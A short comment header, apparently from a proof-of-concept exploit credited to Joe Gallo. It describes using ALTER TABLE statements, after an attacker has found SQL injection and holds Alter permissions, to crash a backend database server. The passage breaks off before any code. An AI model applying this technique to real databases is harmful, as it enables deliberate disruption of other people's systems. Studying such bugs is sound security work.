* Credit: Joe Gallo 
* You must have Alter permissions to exploit this bug! 
* Scenario: You found SQL injection, but you want to punch backend server 
* in the nuts just for fun. Start with the Alter TABLE statement on 
* a table and field you know to exist. The first two SQL statements are 
* simply to demostrate reproducibility...
